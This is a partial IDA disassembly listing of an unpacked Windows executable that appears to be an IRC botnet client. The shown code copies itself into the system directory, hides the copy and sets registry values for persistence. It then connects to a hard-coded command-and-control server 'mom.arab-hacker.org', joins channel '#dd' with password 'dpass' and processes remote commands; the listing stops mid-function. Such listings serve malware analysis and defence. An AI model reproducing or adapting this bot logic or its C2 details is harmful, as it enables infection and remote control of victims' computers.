;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2C05A4885B9F49A489FB0E7748FC8A75

; File Name   :	u:\work\2c05a4885b9f49a489fb0e7748fc8a75_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DA000 ( 892928.)
; Section size in file		: 000DA000 ( 892928.)
; Offset to raw	data for section: 00001000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
nsp0		segment	para public 'CODE' use32
		assume cs:nsp0
		;org 401000h
		assume es:nothing, ss:nothing, ds:nsp0,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401221+355p
					; sub_41542E+1Ep
					; DATA XREF: ...
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_425050
		xor	esi, esi
		mov	ebx, offset dword_42510C
sub_401000	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR start


loc_401013:				; CODE XREF: start+4Ej
		lea	eax, [ebp-4]
		push	esi
		push	eax
		push	esi
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 68h,	3Fh

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 00401013 SIZE 00000006 BYTES

		add	[edi], cl
		add	[esi+56h], dl
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4C97B4	; RegCreateKeyExA
		cmp	[ebp+8], esi
		jz	short loc_40104D
		push	dword ptr [ebp+8]
		call	sub_4176F0
		pop	ecx
		push	eax
		push	dword ptr [ebp+8]
		push	1
		push	esi
		push	ebx
		push	dword ptr [ebp-4]
		call	dword_4C9820	; RegSetValueExA
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: start+14j
		push	ebx
		push	dword ptr [ebp-4]
		call	dword_4C976C	; RegDeleteValueA


loc_401057:				; CODE XREF: start+30j
		push	dword ptr [ebp-4]
		call	dword_4C97D8	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_425068
		jl	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_423220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: sub_413F23+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417A2B
		mov	[esp+10h+var_10], offset dword_425068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_417A18
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_4178D8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_4177F0
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_4177C1
		push	edi
		call	sub_41776B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: sub_401221+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43C74C
		call	dword_4C9890	; closesocket
		call	sub_40A3CC
		call	dword_4C9760	; WSACleanup
		call	dword_4C9760	; WSACleanup
		mov	ebx, dword_423078
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417AA0
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43B9B8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_423074	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_423070	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_42306C	; CreateProcessA
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_423068
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43B9B0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_423064	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: nsp0:00425004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_415759
		pop	ecx
		mov	dword_4C9540, eax
		pop	ecx
		retn
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401221	proc near		; CODE XREF: nsp0:00419D4Cp

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= dword	ptr -0E4h
var_D8		= dword	ptr -0D8h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_40111D
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4230A8
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4C9544, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_408CF8
		push	2
		call	dword_4C98A4	; SetErrorMode
		push	7530h
		push	offset aK3ysddtmtm ; "k3ysddtmtm"
		push	ebx
		push	ebx
		call	dword_4230A4	; CreateMutexA
		push	eax
		call	dword_4230A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	dword_423064	; ExitProcess


loc_4012A1:				; CODE XREF: sub_401221+76j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_4C9778	; WSAStartup
		cmp	eax, ebx
		jnz	loc_4017DE
		cmp	[ebp+var_884], 2
		jnz	loc_4017D8
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_4017D8
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_423074	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_42309C	; GetModuleHandleA
		push	eax
		call	dword_423070	; GetModuleFileNameA
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_417EE1
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset dword_42C20C
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_417E10
		add	esp, 30h
		test	eax, eax
		jnz	loc_401513
		cmp	dword_42508C, ebx
		mov	esi, offset byte_4250EC
		jz	short loc_401399
		push	esi
		xor	edi, edi
		call	sub_4176F0
		sub	eax, 4
		pop	ecx
		jz	short loc_401399


loc_401376:				; CODE XREF: sub_401221+176j
		call	sub_417DF2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_4250EC[edi], dl
		inc	edi
		call	sub_4176F0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401376


loc_401399:				; CODE XREF: sub_401221+145j
					; sub_401221+153j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_42C204
		push	eax
		call	sub_417D96
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_423098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013D9
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_423094	; SetFileAttributesA


loc_4013D9:				; CODE XREF: sub_401221+1A4j
		mov	esi, dword_423090
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax


loc_4013F0:				; CODE XREF: sub_401221+206j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_401429
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_401429
		cmp	eax, 20h
		jz	short loc_40140A
		cmp	eax, 5
		jnz	short loc_401429


loc_40140A:				; CODE XREF: sub_401221+1E2j
		push	1
		pop	edi
		push	3A98h
		call	dword_423078	; Sleep
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_4013F0
; ---------------------------------------------------------------------------


loc_401429:				; CODE XREF: sub_401221+1D3j
					; sub_401221+1DDj ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_415368
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_423094	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417AA0
		push	44h
		lea	eax, [ebp+var_E4]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 18h
		mov	[ebp+var_E4], esi
		mov	[ebp+var_D8], offset byte_43B9B8
		mov	[ebp+var_B4], bx
		push	1
		pop	esi
		mov	[ebp+var_B8], esi
		call	dword_423088	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_423084	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_42C1F8
		push	eax
		call	sub_417D96
		add	esp, 14h
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_42306C	; CreateProcessA
		test	eax, eax
		jz	short loc_401513
		push	0C8h
		call	dword_423078	; Sleep
		push	[ebp+var_20]
		mov	esi, dword_423068
		call	esi	; CloseHandle
		push	[ebp+var_1C]
		call	esi	; CloseHandle
		call	dword_4C9760	; WSACleanup
		push	ebx
		call	dword_423064	; ExitProcess


loc_401513:				; CODE XREF: sub_401221+134j
					; sub_401221+2C8j
		cmp	dword_4D86EC, 2
		jle	short loc_40155F
		mov	eax, dword_4D86F0
		push	dword ptr [eax+4]
		call	sub_417C89
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4230A0	; WaitForSingleObject
		push	esi
		call	dword_423068	; CloseHandle
		mov	eax, dword_4D86F0
		cmp	[eax+8], ebx
		jz	short loc_40155F
		push	7D0h
		call	dword_423078	; Sleep
		mov	eax, dword_4D86F0
		push	dword ptr [eax+8]
		call	dword_423080	; DeleteFileA


loc_40155F:				; CODE XREF: sub_401221+2F9j
					; sub_401221+323j
		cmp	dword_425090, ebx
		jz	short loc_40157C
		cmp	dword_4C98C8, ebx
		jnz	short loc_40157C
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157C:				; CODE XREF: sub_401221+344j
					; sub_401221+34Cj
		lea	eax, [ebp+var_A0]
		push	offset dword_42C1DC
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_40A203
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_413B5E
		push	0B80h
		push	ebx
		push	offset dword_43B9C0
		call	sub_417AA0
		lea	eax, [ebp+var_A0]
		push	offset unk_42C1B8
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_A0]
		push	1
		push	eax
		call	sub_40A203
		add	esp, 38h
		mov	esi, eax
		mov	edi, dword_42307C
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_416A5E
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C754[esi], eax
		jnz	short loc_40161C
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset unk_42C178
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40161C:				; CODE XREF: sub_401221+3DEj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_413B5E
		push	2
		call	sub_40A44B
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A1
		lea	eax, [ebp+var_A0]
		push	offset dword_42C14C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40A203
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F2F7
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C754[esi], eax
		jnz	short loc_401694
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset dword_42C118
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_401694:				; CODE XREF: sub_401221+456j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_4016A1:				; CODE XREF: sub_401221+412j
		call	sub_417DF2
		push	7Fh
		and	eax, 3
		push	offset aMom_arabHacker ; "mom.arab-hacker.org"
		push	offset dword_4C954C
		mov	dword_4C96C4, eax
		call	sub_417B00
		mov	eax, dword_42506C
		push	3Fh
		mov	edi, offset dword_4C95CC
		push	offset aDd	; "#dd"
		push	edi
		mov	dword_4C969C, eax
		call	sub_417B00
		push	3Fh
		mov	esi, offset dword_4C960C
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_417B00
		add	esp, 24h
		mov	dword_4C96A0, ebx


loc_4016F6:				; CODE XREF: sub_401221+55Dj
					; sub_401221+568j ...
		mov	[ebp+var_4], ebx


loc_4016F9:				; CODE XREF: sub_401221+511j
		push	offset dword_4C9548
		mov	dword_4C96C0, ebx
		call	sub_4017E7
		cmp	eax, 2
		mov	[ebp+var_10], eax
		jz	loc_4017D3
		cmp	dword_4C96C0, ebx
		jz	short loc_401720
		dec	[ebp+var_4]


loc_401720:				; CODE XREF: sub_401221+4FAj
		push	0BB8h
		call	dword_423078	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4016F9
		cmp	[ebp+var_10], 2
		jz	loc_4017D3
		cmp	[ebp+var_C], ebx
		jz	short loc_401783
		push	7Fh
		push	offset aMom_arabHacker ; "mom.arab-hacker.org"
		push	offset dword_4C954C
		call	sub_417B00
		mov	eax, dword_42506C
		push	3Fh
		push	offset aDd	; "#dd"
		push	edi
		mov	dword_4C969C, eax
		call	sub_417B00
		push	3Fh
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_417B00
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_4016F6
; ---------------------------------------------------------------------------


loc_401783:				; CODE XREF: sub_401221+520j
		cmp	byte_4C96B4, bl
		jz	loc_4016F6
		push	7Fh
		push	offset byte_4C96B4
		push	offset dword_4C954C
		call	sub_417B00
		mov	eax, dword_425070
		push	3Fh
		push	offset dword_4C96B8
		push	edi
		mov	dword_4C969C, eax
		call	sub_417B00
		push	3Fh
		push	offset dword_4C96BC
		push	esi
		call	sub_417B00
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_4016F6
; ---------------------------------------------------------------------------


loc_4017D3:				; CODE XREF: sub_401221+4EEj
					; sub_401221+517j
		call	sub_40A3CC


loc_4017D8:				; CODE XREF: sub_401221+A1j
					; sub_401221+B1j
		call	dword_4C9760	; WSACleanup


loc_4017DE:				; CODE XREF: sub_401221+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017E7	proc near		; CODE XREF: sub_401221+4E3p
					; DATA XREF: sub_401AC7+5D53o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40180C:				; CODE XREF: sub_4017E7+E6j
					; sub_4017E7+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4C97FC	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_409C07
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_401939
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417AA0
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4250A0
		push	dword_42509C
		push	eax
		call	sub_40A19A
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43C758
		push	edi
		push	eax
		call	sub_417B00
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4C9878	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43C74C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4C97A8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D2
		push	esi
		call	dword_4C9890	; closesocket
		call	sub_409C30
		push	7D0h


loc_4018C7:				; CODE XREF: sub_4017E7+146j
		call	dword_423078	; Sleep
		jmp	loc_40180C
; ---------------------------------------------------------------------------


loc_4018D2:				; CODE XREF: sub_4017E7+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_42C214
		call	sub_413BD2
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40194F
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4C9890	; closesocket
		test	edi, edi
		jz	loc_40180C
		cmp	edi, 1
		jnz	short loc_40192F
		push	0DBBA0h
		jmp	short loc_4018C7
; ---------------------------------------------------------------------------


loc_40192F:				; CODE XREF: sub_4017E7+13Fj
		cmp	edi, 2
		jz	short loc_40193D
		jmp	loc_40180C
; ---------------------------------------------------------------------------


loc_401939:				; CODE XREF: sub_4017E7+5Aj
		xor	eax, eax
		jmp	short loc_401949
; ---------------------------------------------------------------------------


loc_40193D:				; CODE XREF: sub_4017E7+14Bj
		push	[ebp+var_34]
		call	sub_40A51F
		pop	ecx
		push	2
		pop	eax


loc_401949:				; CODE XREF: sub_4017E7+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40194F	proc near		; CODE XREF: sub_4017E7+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_418030
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_40196D:				; CODE XREF: sub_40194F+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40196D
		cmp	byte_4C96B0, bl
		jz	short loc_401994
		push	offset byte_4C96B0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_408C17
		add	esp, 0Ch


loc_401994:				; CODE XREF: sub_40194F+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40A19A
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_417D96
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9848	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4019FE
		push	[ebp+arg_0]
		call	dword_4C9890	; closesocket
		push	1388h
		call	dword_423078	; Sleep


loc_4019F7:				; CODE XREF: sub_40194F+D9j
					; sub_40194F+153j
		xor	eax, eax


loc_4019F9:				; CODE XREF: sub_40194F+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4019FE:				; CODE XREF: sub_40194F+92j
					; sub_40194F+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9814	; recv
		test	eax, eax
		jle	short loc_4019F7
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_415054
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_4019FE
		lea	edi, [ebp+var_A90]


loc_401A4F:				; CODE XREF: sub_40194F+165j
		push	1
		pop	esi


loc_401A52:				; CODE XREF: sub_40194F+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401AC7
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A95
		push	7D0h
		call	dword_423078	; Sleep
		jmp	short loc_401A52
; ---------------------------------------------------------------------------


loc_401A95:				; CODE XREF: sub_40194F+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401ABF
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401ABB
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019F7
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A4F
		jmp	loc_4019FE
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: sub_40194F+14Ej
		push	1
		jmp	short loc_401AC1
; ---------------------------------------------------------------------------


loc_401ABF:				; CODE XREF: sub_40194F+149j
		push	2


loc_401AC1:				; CODE XREF: sub_40194F+16Ej
		pop	eax
		jmp	loc_4019F9
sub_40194F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AC7	proc near		; CODE XREF: sub_40194F+12Ap

var_4AE8	= byte ptr -4AE8h
var_46E8	= byte ptr -46E8h
var_4558	= byte ptr -4558h
var_4454	= byte ptr -4454h
var_4350	= byte ptr -4350h
var_4250	= byte ptr -4250h
var_4150	= byte ptr -4150h
var_4050	= byte ptr -4050h
var_3F4C	= byte ptr -3F4Ch
var_3E4C	= byte ptr -3E4Ch
var_3C4C	= byte ptr -3C4Ch
var_3B4C	= byte ptr -3B4Ch
var_3A4C	= byte ptr -3A4Ch
var_39E8	= byte ptr -39E8h
var_37E8	= byte ptr -37E8h
var_36E8	= byte ptr -36E8h
var_35E8	= byte ptr -35E8h
var_34E8	= byte ptr -34E8h
var_33E8	= dword	ptr -33E8h
var_33E4	= dword	ptr -33E4h
var_33E0	= byte ptr -33E0h
var_3360	= byte ptr -3360h
var_32E0	= byte ptr -32E0h
var_3260	= byte ptr -3260h
var_31E0	= byte ptr -31E0h
var_3160	= dword	ptr -3160h
var_315C	= dword	ptr -315Ch
var_3158	= dword	ptr -3158h
var_3154	= dword	ptr -3154h
var_3150	= byte ptr -3150h
var_2EC9	= byte ptr -2EC9h
var_2EC8	= byte ptr -2EC8h
var_2DC4	= dword	ptr -2DC4h
var_2DBC	= dword	ptr -2DBCh
var_2DB8	= dword	ptr -2DB8h
var_2DB4	= dword	ptr -2DB4h
var_2DB0	= dword	ptr -2DB0h
var_2DA8	= dword	ptr -2DA8h
var_2DA4	= dword	ptr -2DA4h
var_2DA0	= byte ptr -2DA0h
var_2D20	= byte ptr -2D20h
var_2CA0	= byte ptr -2CA0h
var_2C20	= byte ptr -2C20h
var_2BA0	= dword	ptr -2BA0h
var_2B9C	= dword	ptr -2B9Ch
var_2B98	= dword	ptr -2B98h
var_2B94	= dword	ptr -2B94h
var_2B90	= dword	ptr -2B90h
var_2B8C	= byte ptr -2B8Ch
var_2B0C	= byte ptr -2B0Ch
var_2A8C	= byte ptr -2A8Ch
